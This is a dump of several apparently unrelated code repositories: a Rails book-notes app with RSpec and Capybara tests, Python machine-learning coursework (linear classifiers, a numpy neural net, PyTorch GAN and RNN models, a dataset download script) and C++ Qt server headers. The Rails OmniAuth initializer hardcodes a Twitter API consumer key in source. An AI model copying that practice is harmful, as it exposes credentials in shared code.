let(:user2) {User.create name: "testuser2"}
before do
Book.delete_all
view.stub(:current_user) {user1}
end
let(:book) do
book = Book.create(
image_url: "http://www.rubyinside.com/wp-content/uploads/2008/02/hummingbird-book-the-ruby-programming-language.jpg",
title: "The Ruby Programming",
description: "はじめに",
created_by: user1
)
book.notes.build page: 10, note: "note test", user: user1
book.notes.build page: 100, note: "note test 22", user: user2
book.save
book
end
it "should display detail of book" do
assign(:book, book)
assign(:notes, book.notes)
render
expect(rendered).to match /img/
expect(rendered).to match /The Ruby Programming/
expect(rendered).to match /はじめに/
end
it "should display note list" do
assign(:book, book)
assign(:notes, book.notes)
render
expect(rendered).to match /10/
expect(rendered).to match /testuser1/
expect(rendered).to match /note test/
end
it "should display link to new note" do
assign(:book, book)
assign(:notes, book.notes)
render
assert_select "a", content: "ノートを追加"
end
end<file_sep>/app/models/book.rb
class Book < ActiveRecord::Base
attr_accessible :description, :image_url, :title, :created_by, :created_by_id
validates :title, presence: true, uniqueness: true
has_many :notes
belongs_to :created_by, :class_name => "User", :foreign_key => "created_by_id"
end
<file_sep>/spec/features/guest_can_signup_spec.rb
# coding: utf-8
feature 'ゲストとして、Twitterでログインしたい' do
def mock_hash
{
"provider" => "twitter",
"uid" => 1234567,
"info" => {
"nickname" => 'test_user_twitter',
"image" => '...test.png'
}
}
end
background do
OmniAuth.config.test_mode = true
OmniAuth.config.mock_auth[:twitter] = mock_hash
end
context "登録してない場合" do
background do
User.delete_all
end
scenario 'ログインリンクでログイン出来る' do
visit root_path
page.should have_content "Twitterでログイン"
click_link "Twitterでログイン"
page.should have_content "test_user_twitter"
end
end
context "登録した場合" do
background do
User.delete_all
User.create_with_omniauth mock_hash
end
scenario 'ログインリンクでログイン出来る' do
visit root_path
page.should have_content "Twitterでログイン"
click_link "Twitterでログイン"
page.should have_content "test_user_twitter"
end
end
end<file_sep>/spec/views/books/show.html.haml_spec.rb
# encoding: utf-8
require 'spec_helper'
describe "books/show" do
let(:user1) {User.create name: "testuser1"}
let(:user2) {User.create name: "testuser2"}
before do
Book.delete_all
view.stub(:current_user) { user1}
end
let(:book) do
book = Book.create(
image_url: "http://www.rubyinside.com/wp-content/uploads/2008/02/hummingbird-book-the-ruby-programming-language.jpg",
title: "The Ruby Programming",
description: "はじめに",
created_by: user1
)
book.notes.build page: 10, note: "note test", user: user1
book.notes.build page: 100, note: "note test 22", user: user2
book.save
book
end
before do
assign(:book, book)
assign(:current_user, false)
end
it "should display detail of book" do
render
expect(rendered).to match /img/
expect(rendered).to match /The Ruby Programming/
expect(rendered).to match /はじめに/
expect(rendered).to match /testuser1/
end
it "should display note list" do
render
expect(rendered).to match /10/
expect(rendered).to match /testuser1/
expect(rendered).to match /note test/
expect(rendered).to match /100/
expect(rendered).to match /testuser2/
expect(rendered).to match /note test 22/
end
it "should display link to new note" do
render
assert_select "a", content: "ノートを追加"
end
it "should display link to only my notes" do
render
assert_select "a", content: "自分の0み"
end
context "with login user" do
before do
assign(:current_user, user1)
end
it "should display edit link for owner's note" do
render
assert_select 'a.btn', content: "編集"
end
end
end<file_sep>/Gemfile
source 'https://rubygems.org'
gem 'rails', '3.2.9'
gem 'thin'
gem 'haml-rails'
gem 'omniauth-twitter'
group :development, :test do
gem 'sqlite3'
gem 'rspec-rails'
gem 'launchy'
end
group :test do
gem 'capybara'
end
group :development do
gem 'guard-rspec'
gem 'guard-spork'
gem 'rb-fsevent'
gem 'growl'
gem 'pry-rails'
gem 'rails-sh'
gem 'better_errors'
end
group :assets do
gem 'sass-rails', '~> 3.2.3'
gem 'coffee-rails', '~> 3.2.1'
gem "therubyracer", '0.11.0beta8'
gem 'libv8', '~> 3.11.8'
gem 'less-rails'
gem 'twitter-bootstrap-rails'
gem 'uglifier', '>= 1.0.3'
end
gem 'jquery-rails'
<file_sep>/app/controllers/notes_controller.rb
class NotesController < ApplicationController
before_filter :get_book, only: [:new, :create, :edit, :update, :destroy]
before_filter :get_note, only: [:edit, :update, :destroy]
def new
end
def create
note = @book.notes.build(params[:note])
note.user = current_user
note.save
redirect_to @book
end
def edit
end
def update
@note.update_attributes(params[:note])
redirect_to book_path(@book)
end
def destroy
@note.delete
redirect_to book_path(@book)
end
private
def get_book
@book = Book.find(params[:book_id])
end
def get_note
@note = Note.find(params[:id])
end
end
<file_sep>/spec/views/books/index.html.haml_spec.rb
# encoding: utf-8
require 'spec_helper'
describe "books/index.html.haml" do
it "display all books" do
assign(:books, [
stub_model(Book,
image_url: "http://books.shoeisha.co.jp//images/book/94964.jpg",
title: "The RSpec Book",
description: "ドキュメントを書くようにプログラミング!"
),
stub_model(Book,
image_url: "http://www.rubyinside.com/wp-content/uploads/2008/02/hummingbird-book-the-ruby-programming-language.jpg",
title: "The Ruby Programming",
description: "はじめに"
)
])
render
expect(rendered).to match /img/
expect(rendered).to match /The RSpec Book/
expect(rendered).to match /ドキュメントを書くように/
expect(rendered).to match /The Ruby Programming/
expect(rendered).to match /はじめに/
end
end<file_sep>/app/models/note.rb
class Note < ActiveRecord::Base
attr_accessible :note, :page, :book, :user
scope :of_user, lambda { |user_id| where("user_id = ?", user_id) }
default_scope order('page, created_at')
belongs_to :book
belongs_to :user
end
<file_sep>/spec/features/guest_can_see_book_list_spec.rb
# coding: utf-8
require 'spec_helper'
feature 'ゲストとして、本の一覧を閲覧出来る' do
background do
Book.delete_all
@user = User.create name: 'testuser'
5.times.map.with_index(1) do |i|
new_book = Book.create! title: "book#{i}", created_by: @user
i.times.map.with_index(1) {|j| new_book.notes.build page: j*10, note: "note #{j}", user: @user}
end
end
scenario 'トップページにアクセスすると、本の一覧が表示される' do
visit root_path
Book.all.each do |book|
page.should have_content book.image_url
page.should have_content book.title
page.should have_content book.description
page.should have_content book.notes.count
end
end
scenario '本の一覧場面から、本の詳細ページに遷移出来る' do
book2 = Book.all[1]
visit root_path
click_link book2.title
all(".book").count.should == 1
end
end<file_sep>/spec/features/guest_can_see_book_detail_spec.rb
# coding: utf-8
require 'spec_helper'
feature 'ゲストとして、本の詳細情報を閲覧出来る' do
background do
Book.delete_all
user = User.create name: 'testuser'
5.times.map.with_index(1) { |i| Book.create! title: "book#{i}", created_by: user}
@book = Book.first
10.times.map.with_index(1) { |i| @book.notes.build page: i, note: "note #{i}", user: user}
@book.save
end
scenario '本の詳細画面にアクセスすると、本の詳細情報が表示される' do
visit book_path(@book)
page.should have_content @book.image_url
page.should have_content @book.title
page.should have_content @book.description
end
scenario '本の詳細画面にアクセスすると、本のノート一覧が表示される' do
visit book_path(@book)
@book.notes.all do |note|
page.should have_content note.page
page.should have_content note.note
end
end
end<file_sep>/spec/features/user_can_create_note_spec.rb
# coding: utf-8
require 'spec_helper'
feature 'ユーザとして、本にノートを付けたい' do
context "ログインしている場合" do
def mock_hash
{
"provider" => "twitter",
"uid" => 1234567,
"info" => {
"nickname" => 'test_user_twitter',
"image" => '...test.png'
}
}
end
background do
OmniAuth.config.test_mode = true
OmniAuth.config.mock_auth[:twitter] = mock_hash
User.delete_all
Book.delete_all
user = User.create! name: 'testuser'
@book = Book.create title: 'ruby', description: "I's beautiful language", created_by: user
5.times.map.with_index(1) { |i| @book.notes.build page: i*10, note: "note #{i}", user: user}
@book.save
visit root_path
click_link "Twitterでログイン"
end
scenario 'ページとノート内容を入力して、ノートを登録出来る' do
click_link @book.title
@book.notes.each do |note|
page.should have_content note.page
page.should have_content note.note
end
click_link "ノートを追加"
fill_in 'note_page', with: '101'
fill_in 'note_note', with: '新しいノート'
click_button "保存"
page.should have_content 101
page.should have_content '新しいノート'
end
end
context "ログインしていない場合" do
background do
user = User.create! name: 'testuser'
@book = Book.create title: 'ruby', description: "I's beautiful language", created_by: user
5.times.map.with_index(1) { |i| @book.notes.build page: i*10, note: "note #{i}", user: user}
@book.save
end
scenario 'ノート追加リンクが表示されない' do
visit root_path
click_link @book.title
@book.notes.each do |note|
page.should have_content note.page
page.should have_content note.note
end
page.should_not have_content "ノートを追加"
end
end
end<file_sep>/spec/models/book_spec.rb
require 'spec_helper'
describe Book do
before(:all) do
Book.delete_all
end
describe "#save" do
let!(:book) {
Book.new title: 'ruby', image_url: 'test.png', description: 'ruby is ....'
}
context "with valid params" do
it "save created_by" do
user = User.create name: 'testuser'
book.title = 'test111'
book.created_by = user
book.should be_valid
book.created_by.name.should eq user.name
end
end
context "with invalid params" do
it "without title" do
book.title = nil
book.should_not be_valid
end
it "with title has duplication" do
Book.delete_all
Book.create title: 'ruby'
book.should_not be_valid
end
end
end
end<file_sep>/app/controllers/books_controller.rb
class BooksController < ApplicationController
before_filter :set_book, only: [:edit, :update, :show, :my]
def index
@books = Book.all
end
def new
@book = Book.new
end
def create
@book = Book.new(params[:book])
if @book.save
redirect_to @book
else
render :new
end
end
def edit
if current_user.nil? || current_user.id != @book.created_by.id
redirect_to @book
end
end
def update
if current_user != @book.created_by
redirect_to @book
else
if @book.update_attributes(params[:book])
redirect_to @book
else
render :edit
end
end
end
def show
@notes = @book.notes
end
def my
@notes = @book.notes.of_user(current_user)
end
private
def set_book
@book = Book.find(params[:id])
end
end
<file_sep>/config/initializers/omniauth.rb
Rails.application.config.middleware.use OmniAuth::Builder do
provider :twitter, "IxGvc4fUOvgxJQRGD09UaQ", "<KEY>"
end | 1b1cea26733b5ad393e69f807606e932d60a97d6 | [
"Markdown",
"Ruby"
] | 24 | Markdown | blueplanet/reader_zone | 281caa4445d45451a78b3a82de0527cdc09d9982 | 62280e9cfd0b18ddcc3c563ac7ef5fe88673f816 |
refs/heads/main | <repo_name>sara88m/CS498-DL<file_sep>/mp4/assignment4_materials/Assignment4/rnn/model.py
import torch
import torch.nn as nn
class RNN(nn.Module):
def __init__(self, input_size, hidden_size, output_size, model_type="rnn", n_layers=1, dropout=0.5):
super(RNN, self).__init__()
"""
Initialize the RNN model.
You should create:
- An Embedding object which will learn a mapping from tensors
of dimension input_size to embedding of dimension hidden_size.
- Your RNN network which takes the embedding as input (use models
in torch.nn). This network should have input size hidden_size and
output size hidden_size.
- A linear layer of dimension hidden_size x output_size which
will predict output scores.
Inputs:
- input_size: Dimension of individual element in input sequence to model
- hidden_size: Hidden layer dimension of RNN model
- output_size: Dimension of individual element in output sequence from model
- model_type: RNN network type can be "rnn" (for basic rnn), "gru", or "lstm"
- n_layers: number of layers in your RNN network
"""
self.model_type = model_type
self.input_size = input_size
self.hidden_size = hidden_size
self.output_size = output_size
self.n_layers = n_layers
####################################
# YOUR CODE HERE #
####################################
self.embedding = nn.Embedding(input_size, hidden_size)
if model_type == "rnn":
self.rnn = nn.RNN(hidden_size, hidden_size, n_layers, bidirectional = True)
elif model_type == "gru":
self.rnn = nn.GRU(hidden_size, hidden_size, n_layers, bidirectional = True)
else:
self.rnn = nn.LSTM(hidden_size, hidden_size, n_layers, bidirectional = True)
self.linear = nn.Sequential(
nn.Linear(hidden_size * 2, 100),
nn.Dropout(dropout),
nn.Linear(100, output_size)
)
########## END ##########
def forward(self, input, hidden):
"""
Forward pass through RNN model. Use your Embedding object to create
an embedded input to your RNN network. You should then use the
linear layer to get an output of self.output_size.
Inputs:
- input: the input data tensor to your model of dimension (batch_size)
- hidden: the hidden state tensor of dimension (n_layers x batch_size x hidden_size)
Returns:
- output: the output of your linear layer
- hidden: the output of the RNN network before your linear layer (hidden state)
"""
output = None
####################################
# YOUR CODE HERE #
####################################
x = torch.transpose(input, 0, 1)
x = self.embedding(x)
x, h = self.rnn(x, hidden)
output = self.linear(x[0])
########## END ##########
return output, h
def init_hidden(self, batch_size, device=None):
"""
Initialize hidden states to all 0s during training.
Hidden states should be initilized to dimension (n_layers x batch_size x hidden_size)
Inputs:
- batch_size: batch size
Returns:
- hidden: initialized hidden values for input to forward function
"""
hidden = None
####################################
# YOUR CODE HERE #
####################################
weight = next(self.parameters()).data
hidden = weight.new(self.n_layers * 2, batch_size, self.hidden_size).zero_().to(device)
########## END ##########
return (hidden, hidden)
<file_sep>/mp1/assignment1/models/Softmax.py
"""Softmax model."""
import numpy as np
class Softmax:
def __init__(self, n_class: int, lr: float, epochs: int, reg_const: float):
"""Initialize a new classifier.
Parameters:
n_class: the number of classes
lr: the learning rate
epochs: the number of epochs to train for
reg_const: the regularization constant
"""
self.w = None
self.lr = lr
self.epochs = epochs
self.reg_const = reg_const
self.n_class = n_class
def calc_gradient(self, X_train: np.ndarray, y_train: np.ndarray) -> np.ndarray:
"""Calculate gradient of the softmax loss.
Inputs have dimension D, there are C classes, and we operate on
mini-batches of N examples.
Parameters:
X_train: a numpy array of shape (N, D) containing a mini-batch
of data
y_train: a numpy array of shape (N,) containing training labels;
y[i] = c means that X[i] has label c, where 0 <= c < C
Returns:
gradient with respect to weights w; an array of same shape as w
"""
dw = np.zeros((np.shape(X_train)[1], self.n_class))
for i in range(X_train.shape[0]):
pred = np.dot(X_train[i], self.w)
pred -= np.max(pred)
prob = np.divide(np.exp(pred), np.sum(np.exp(pred), axis=0))
for j in range(self.n_class):
if j == y_train[i]:
dw[:, j] = np.add(dw[:, j], (prob[j] - 1) * X_train[i])
else:
dw[:, j] = np.add(dw[:, j], prob[j] * X_train[i])
dw /= X_train.shape[0]
return dw + self.w * self.reg_const
def train(self, X_train: np.ndarray, y_train: np.ndarray):
"""Train the classifier.
Hint: operate on mini-batches of data for SGD.
Parameters:
X_train: a numpy array of shape (N, D) containing training data;
N examples with D dimensions
y_train: a numpy array of shape (N,) containing training labels
"""
self.w = np.random.normal(0, .01, size=(np.shape(X_train)[1], self.n_class))
batch_size = 200
for _ in range(self.epochs):
idx = np.sort(np.random.choice(X_train.shape[0],size=batch_size,replace=False))
dw = self.calc_gradient(X_train[idx], y_train[idx])
self.w -= self.lr * dw
def predict(self, X_test: np.ndarray) -> np.ndarray:
"""Use the trained weights to predict labels for test data points.
Parameters:
X_test: a numpy array of shape (N, D) containing testing data;
N examples with D dimensions
Returns:
predicted labels for the data in X_test; a 1-dimensional array of
length N, where each element is an integer giving the predicted
class.
"""
pred = np.argmax(np.dot(X_test, self.w), axis = 1)
return pred
<file_sep>/mp1/assignment1/models/Perceptron.py
"""Perceptron model."""
import numpy as np
class Perceptron:
def __init__(self, n_class: int, lr: float, epochs: int):
"""Initialize a new classifier.
Parameters:
n_class: the number of classes
lr: the learning rate
epochs: the number of epochs to train for
"""
self.w = None
self.lr = lr
self.epochs = epochs
self.n_class = n_class
def train(self, X_train: np.ndarray, y_train: np.ndarray):
"""Train the classifier.
Use the perceptron update rule as introduced in Lecture 3.
Parameters:
X_train: a number array of shape (N, D) containing training data;
N examples with D dimensions
y_train: a numpy array of shape (N,) containing training labels
"""
#self.w = np.zeros((self.n_class, len(X_train[0])))
self.w = np.random.normal(0, .05, size=(self.n_class, len(X_train[0])))
for _ in range(self.epochs):
for i in range(X_train.shape[0]):
pred = np.dot(X_train[i], self.w.T)
if np.argmax(pred) == y_train[i]:
continue
for j in range(self.n_class):
if pred[j] > pred[y_train[i]]:
#temp = pred[j] - pred[y_train[i]]
self.w[j, :] = np.subtract(self.w[j, :], self.lr * X_train[i, :])
self.w[y_train[i], :] = np.add(self.w[y_train[i], :], self.lr * X_train[i, :])
#self.w[y_train[i]] = np.add(self.w[y_train[i]], self.lr * gradient * X_train[i])
def predict(self, X_test):
"""Use the trained weights to predict labels for test data points.
Parameters:
X_test: a numpy array of shape (N, D) containing testing data;
N examples with D dimensions
Returns:
predicted labels for the data in X_test; a 1-dimensional array of
length N, where each element is an integer giving the predicted
class.
"""
out = []
pred = np.dot(X_test, self.w.T)
for i in range(X_test.shape[0]):
out.append(np.argmax(pred[i]))
return out
<file_sep>/mp2/assignment2/models/neural_net.py
"""Neural network model."""
from typing import Sequence
import numpy as np
class NeuralNetwork:
"""A multi-layer fully-connected neural network. The net has an input
dimension of N, a hidden layer dimension of H, and performs classification
over C classes. We train the network with a softmax loss function and L2
regularization on the weight matrices.
The network uses a nonlinearity after each fully connected layer except for
the last. The outputs of the last fully-connected layer are the scores for
each class."""
def __init__(
self,
input_size: int,
hidden_sizes: Sequence[int],
output_size: int,
num_layers: int,
):
"""Initialize the model. Weights are initialized to small random values
and biases are initialized to zero. Weights and biases are stored in
the variable self.params, which is a dictionary with the following
keys:
W1: 1st layer weights; has shape (D, H_1)
b1: 1st layer biases; has shape (H_1,)
...
Wk: kth layer weights; has shape (H_{k-1}, C)
bk: kth layer biases; has shape (C,)
Parameters:
input_size: The dimension D of the input data
hidden_size: List [H1,..., Hk] with the number of neurons Hi in the
hidden layer i
output_size: The number of classes C
num_layers: Number of fully connected layers in the neural network
"""
self.input_size = input_size
self.hidden_sizes = hidden_sizes
self.output_size = output_size
self.num_layers = num_layers
assert len(hidden_sizes) == (num_layers - 1)
sizes = [input_size] + hidden_sizes + [output_size]
self.params = {}
for i in range(1, num_layers + 1):
self.params["W" + str(i)] = np.random.randn(sizes[i - 1], sizes[i]) / np.sqrt(sizes[i - 1])
self.params["b" + str(i)] = np.zeros(sizes[i])
def linear(self, W: np.ndarray, X: np.ndarray, b: np.ndarray) -> np.ndarray:
"""Fully connected (linear) layer.
Parameters:
W: the weight matrix
X: the input data
b: the bias
Returns:
the output
"""
return np.add(np.dot(X, W), b)
def relu(self, X: np.ndarray) -> np.ndarray:
"""Rectified Linear Unit (ReLU).
Parameters:
X: the input data
Returns:
the output
"""
return np.maximum(0, X)
def relu_grad(self, X):
"""
Derivative of ReLU
"""
X[X<=0] = 0
X[X>0] = 1
return X
def softmax(self, X: np.ndarray) -> np.ndarray:
"""The softmax function.
Parameters:
X: the input data
Returns:
the output
"""
return np.divide(np.exp(X), np.sum(np.exp(X), axis=1, keepdims=True))
def crossentropy(self, label, pred):
ce = -np.sum(np.multiply(label, np.log(pred))) / pred.shape[0]
return ce
def forward(self, X: np.ndarray) -> np.ndarray:
"""Compute the scores for each class for all of the data samples.
Hint: this function is also used for prediction.
Parameters:
X: Input data of shape (N, D). Each X[i] is a training or
testing sample
Returns:
Matrix of shape (N, C) where scores[i, c] is the score for class
c on input X[i] outputted from the last layer of your network
"""
self.outputs = {}
# TODO: implement me. You'll want to store the output of each layer in
# self.outputs as it will be used during back-propagation. You can use
# the same keys as self.params. You can use functions like
# self.linear, self.relu, and self.softmax in here.
z = self.linear(self.params['W' + str(1)], X, self.params['b' + str(1)])
self.outputs["z" + str(1)] = z
for i in range(2, self.num_layers + 1):
z = self.relu(z)
z = self.linear(self.params['W' + str(i)], z, self.params['b' + str(i)])
self.outputs["z" + str(i)] = z
return self.softmax(z)
def backward(
self, X: np.ndarray, y: np.ndarray, lr: float, reg: float = 0.0
) -> float:
"""Perform back-propagation and update the parameters using the
gradients.
Parameters:
X: Input data of shape (N, D). Each X[i] is a training sample
y: Vector of training labels. y[i] is the label for X[i], and each
y[i] is an integer in the range 0 <= y[i] < C
lr: Learning rate
reg: Regularization strength
Returns:
Total loss for this batch of training samples
"""
self.gradients = {}
#loss = 0.0
# TODO: implement me. You'll want to store the gradient of each layer
# in self.gradients if you want to be able to debug your gradients
# later. You can use the same keys as self.params. You can add
# functions like self.linear_grad, self.relu_grad, and
# self.softmax_grad if it helps organize your code.
scores = self.softmax(self.outputs["z" + str(self.num_layers)])
labels = np.zeros(scores.shape)
for i in range(len(y)):
labels[i, y[i]] = 1
loss = self.crossentropy(labels, scores)
# rho_p is the derivative of loss
rho_p = -np.subtract(labels, scores)
delta = np.dot(self.params["W" + str(self.num_layers)], rho_p.T)
self.gradients["W" + str(self.num_layers)] = np.dot(self.relu(self.outputs["z" + str(self.num_layers - 1)]).T, rho_p)
self.gradients["b" + str(self.num_layers)] = np.mean(rho_p, axis=0, keepdims=False)
for i in range(self.num_layers - 1, 0, -1):
if i == 1:
temp = X
else:
temp = self.relu(self.outputs['z' + str(i - 1)])
self.gradients["W" + str(i)] = np.dot(temp.T, np.multiply(delta, self.relu_grad(self.outputs["z" + str(i)]).T).T)
self.gradients["b" + str(i)] = np.mean(np.multiply(delta, self.relu_grad(self.outputs["z" + str(i)]).T), axis=1, keepdims=False)
delta = np.dot(self.params["W" + str(i)], np.multiply(delta, self.relu_grad(self.outputs["z" + str(i)]).T))
return loss
<file_sep>/mp4/assignment4_materials/Assignment4/gan/models.py
import torch
import torch.nn as nn
from gan.spectral_normalization import SpectralNorm
class Discriminator(torch.nn.Module):
def __init__(self, input_channels=3):
super(Discriminator, self).__init__()
#Hint: Apply spectral normalization to convolutional layers. Input to SpectralNorm should be your conv nn module
####################################
# YOUR CODE HERE #
####################################
dis_channel = 128
dis_kernel = 4
self.dis1 = nn.Conv2d(input_channels, dis_channel, dis_kernel, stride=2, padding=1)
self.dis2 = SpectralNorm(nn.Conv2d(dis_channel, dis_channel*2, dis_kernel, stride=2, padding=1))
self.dis3 = SpectralNorm(nn.Conv2d(dis_channel*2, dis_channel*4, dis_kernel, stride=2, padding=1))
self.dis4 = SpectralNorm(nn.Conv2d(dis_channel*4, dis_channel*8, dis_kernel, stride=2, padding=1))
self.dis5 = nn.Sequential(
nn.Conv2d(dis_channel*8, 1, dis_kernel, padding=1),
nn.AdaptiveAvgPool2d((1, 1))
)
self.relu = nn.LeakyReLU(0.2, inplace=True)
########## END ##########
def forward(self, x):
####################################
# YOUR CODE HERE #
####################################
x = self.relu(self.dis1(x))
x = self.relu(self.dis2(x))
x = self.relu(self.dis3(x))
x = self.relu(self.dis4(x))
x = self.dis5(x)
x = x.view(x.size()[0], -1)
########## END ##########
return x
class Generator(torch.nn.Module):
def __init__(self, noise_dim, output_channels=3):
super(Generator, self).__init__()
self.noise_dim = noise_dim
####################################
# YOUR CODE HERE #
####################################
gen_channel = 64
gen_kernel = 4
self.gen = nn.Sequential(
nn.ConvTranspose2d(noise_dim, gen_channel*16, gen_kernel, padding=1),
nn.BatchNorm2d(gen_channel*16),
nn.ReLU(inplace=True),
nn.ConvTranspose2d(gen_channel*16, gen_channel*8, gen_kernel, stride=2, padding=1),
nn.BatchNorm2d(gen_channel*8),
nn.ReLU(inplace=True),
nn.ConvTranspose2d(gen_channel*8, gen_channel*4, gen_kernel, stride=2, padding=1),
nn.BatchNorm2d(gen_channel*4),
nn.ReLU(inplace=True),
nn.ConvTranspose2d(gen_channel*4, gen_channel*2, gen_kernel, stride=2, padding=1),
nn.BatchNorm2d(gen_channel*2),
nn.ReLU(inplace=True),
nn.ConvTranspose2d(gen_channel*2, gen_channel, gen_kernel, stride=2, padding=1),
nn.BatchNorm2d(gen_channel),
nn.ReLU(inplace=True),
nn.ConvTranspose2d(gen_channel, output_channels, gen_kernel, stride=2, padding=1),
nn.Tanh()
)
########## END ##########
def forward(self, x):
####################################
# YOUR CODE HERE #
####################################
x = self.gen(x)
########## END ##########
return x
<file_sep>/mp1/assignment1/models/Logistic.py
"""Logistic regression model."""
import numpy as np
class Logistic:
def __init__(self, lr: float, epochs: int):
"""Initialize a new classifier.
Parameters:
lr: the learning rate
epochs: the number of epochs to train for
"""
self.w = None
self.lr = lr
self.epochs = epochs
self.threshold = 0.5
def sigmoid(self, z):
"""Sigmoid function.
Parameters:
z: the input
Returns:
the sigmoid of the input
"""
return 1 / (1 + np.exp(-z))
def train(self, X_train: np.ndarray, y_train: np.ndarray):
"""Train the classifier.
Use the logistic regression update rule as introduced in lecture.
Parameters:
X_train: a numpy array of shape (N, D) containing training data;
N examples with D dimensions
y_train: a numpy array of shape (N,) containing training labels
"""
self.w = np.random.normal(0, .05, size=(np.shape(X_train)[1], 1))
new_y = np.zeros((y_train.shape))
for j in range(y_train.shape[0]):
if y_train[j] == 0:
new_y[j] = -1
else:
new_y[j] = 1
for _ in range(self.epochs):
pred = self.sigmoid(np.multiply(-1 * new_y.reshape(X_train.shape[0], 1), np.dot(X_train, self.w)))
temp = np.zeros((X_train.shape))
for i in range(X_train.shape[0]):
temp[i, :] = pred[i] * new_y[i] * X_train[i, :]
self.w = np.add(self.w, self.lr * np.expand_dims(np.mean(temp, axis=0), axis=1))
def predict(self, X_test: np.ndarray) -> np.ndarray:
"""Use the trained weights to predict labels for test data points.
Parameters:
X_test: a numpy array of shape (N, D) containing testing data;
N examples with D dimensions
Returns:
predicted labels for the data in X_test; a 1-dimensional array of
length N, where each element is an integer giving the predicted
class.
"""
pred = self.sigmoid(np.dot(X_test, self.w))
for i in range(X_test.shape[0]):
if pred[i] >= self.threshold:
pred[i] = 1
else:
pred[i] = 0
return pred
<file_sep>/mp4/assignment4_materials/Assignment4/download_language_data.py
import os
import glob
import shutil
#### Download Shakespeare file ####
os.system('wget -O shakespeare.txt https://cs.stanford.edu/people/karpathy/char-rnn/shakespeare_input.txt')
#### Download data files for classification task ####
languages = [('albanian', 'albanian'),
('asv', 'english'),
('czech_cep', 'czech'),
('danish', 'danish'),
('esperanto', 'esperanto'),
('finnish_pr_1992', 'finnish'),
('french_ostervald_1996', 'french'),
('german_schlachter_1951', 'german'),
('hungarian_karoli', 'hungarian'),
('italian_riveduta_1927', 'italian'),
('lithuanian', 'lithuanian'),
('maori', 'maori'),
('norwegian', 'norwegian'),
('portuguese', 'portuguese'),
('romanian_cornilescu', 'romanian'),
('spanish_reina_valera_1909', 'spanish'),
('swedish_1917', 'swedish'),
('turkish', 'turkish'),
('vietnamese_1934', 'vietnamese'),
('xhosa', 'xhosa')]
os.mkdir('/Users/syfrankie/Desktop/syfrankie/20fw/DL/mp4/assignment4_materials/Assignment4/language_data')
data_dir_base = '/Users/syfrankie/Desktop/syfrankie/20fw/DL/mp4/assignment4_materials/Assignment4/language_data/'
for (download_name, dest_name) in languages:
# download
path_base = 'http://unbound.biola.edu/downloads/bibles/' + download_name + '.zip'
print('downloading from: ', path_base)
os.system('wget '+ path_base)
# unzip
unzip_dir = data_dir_base+download_name+'_unzipped'
print('unzipping to: ', unzip_dir)
os.makedirs(unzip_dir)
os.system('unzip '+ (download_name + '.zip') + ' -d ' + unzip_dir)
# move text file to new file name
text_file_path = unzip_dir+'/'+download_name+'_utf8.txt'
new_text_file_path = data_dir_base+dest_name+'.txt'
print('keeping file: ', new_text_file_path)
os.system('mv' + ' ' + text_file_path + ' ' + new_text_file_path)
# remove zip file and inflated
print('cleaning up directory')
os.remove(download_name+'.zip')
shutil.rmtree(unzip_dir)
### Split language files into train and test ###
files_list = glob.glob('/Users/syfrankie/Desktop/syfrankie/20fw/DL/mp4/assignment4_materials/Assignment4/language_data/*.txt')
if not os.path.exists('/Users/syfrankie/Desktop/syfrankie/20fw/DL/mp4/assignment4_materials/Assignment4/language_data/test'):
os.makedirs('/Users/syfrankie/Desktop/syfrankie/20fw/DL/mp4/assignment4_materials/Assignment4/language_data/test')
if not os.path.exists('/Users/syfrankie/Desktop/syfrankie/20fw/DL/mp4/assignment4_materials/Assignment4/language_data/train'):
os.makedirs('/Users/syfrankie/Desktop/syfrankie/20fw/DL/mp4/assignment4_materials/Assignment4/language_data/train')
for file in files_list:
bible_train_text = ""
bible_test_text = ""
new_train_file_name = '/Users/syfrankie/Desktop/syfrankie/20fw/DL/mp4/assignment4_materials/Assignment4/language_data/train/'+os.path.basename(file).split(".")[0] + "_train.txt"
new_test_file_name = '/Users/syfrankie/Desktop/syfrankie/20fw/DL/mp4/assignment4_materials/Assignment4/language_data/test/'+os.path.basename(file).split(".")[0] + "_test.txt"
with open(file) as inp:
for _ in range(8):
next(inp)
# Create training set text file
for i in range(8,27995):
line = next(inp)
tab_sep = line.strip().replace('\t\t', '\t').split('\t')
words = tab_sep[-1]
bible_train_text += " " + words
with open(new_train_file_name, 'w') as f:
f.write(bible_train_text.strip())
# Create testing set text file
for test_lines in inp:
tab_sep_test = test_lines.strip().replace('\t\t', '\t').split('\t')
words_test = tab_sep_test[-1]
bible_test_text += " " + words_test
with open(new_test_file_name, 'w') as f:
f.write(bible_test_text.strip())
# Remove old combined text file
os.remove(file)
#### Download test language file for Kaggle submission ####
os.system('wget -O language_data/kaggle_rnn_language_classification_test.txt https://uofi.box.com/shared/static/094rb0n0serfb1s19iwrvk0vwhf8bg6p.txt')
| 91c7aa26e5be794bc9e455446b46679018f54fa3 | [
"Python"
] | 7 | Python | sara88m/CS498-DL | b92a97156215f25d887435df20b556c45f1dd70e | 947ccb61bb2e013b5a6c07b818df4da140df07a2 |
refs/heads/master | <file_sep>#ifndef SERVIDOR_H
#define SERVIDOR_H
#include <QTcpServer>
#include <QDebug>
#include <algorithm>
#include <QStringBuilder>
#include "conexao.h"
#include "gerenciaconexao.h"
class Servidor : public QTcpServer
{
Q_OBJECT
public:
explicit Servidor(QObject *parent = nullptr);
virtual ~Servidor();
void startServidor();
private:
GerenciaConexao *gerenConexao() const;
void setGerenConexao(GerenciaConexao *gerenConexao);
Conexao *conexao() const;
void setConexao(Conexao *conexao);
protected:
void incomingConnection(qintptr descript);
signals:
public slots:
void readyRead(const QByteArray &msg);
void disconnected(const qintptr &descrpt);
private:
Conexao *mConexao;
GerenciaConexao *mGerenConexao;
};
#endif // SERVIDOR_H
<file_sep>#ifndef LOG_H
#define LOG_H
#include <QObject>
#include <QRunnable>
#include <QDir>
#include <fstream>
#include <QString>
#include <QStringBuilder>
#include <QDateTime>
#include <QDebug>
using std::ifstream;
using std::ofstream;
using std::endl;
using std::ios_base;
class Log : public QObject, public QRunnable
{
Q_OBJECT
private:
public:
explicit Log(QObject *parent = nullptr);
private:
void run();
void setup();
QString nomeArqOut() const;
QDir dirLog() const;
QString gerarQStrLog(const QString &org, const QString &dst, const QString &msg);
void salvarArq(const QString &qstrLog);
signals:
public slots:
void salvarLog(const QString &org, const QString &dst, const QString &msg);
private:
QDir mDirLog;
QString mNomeArqOut;
const QString BROADCAST_CONECTADO = "$c$"; //broadcast: #$$$$#$c$#:user1;user2;user3
const QString BROADCAST_DESCONECTADO = "$d$"; //broadcast: #$$$$#$d$#:user1;user2;user3
};
#endif // LOG_H
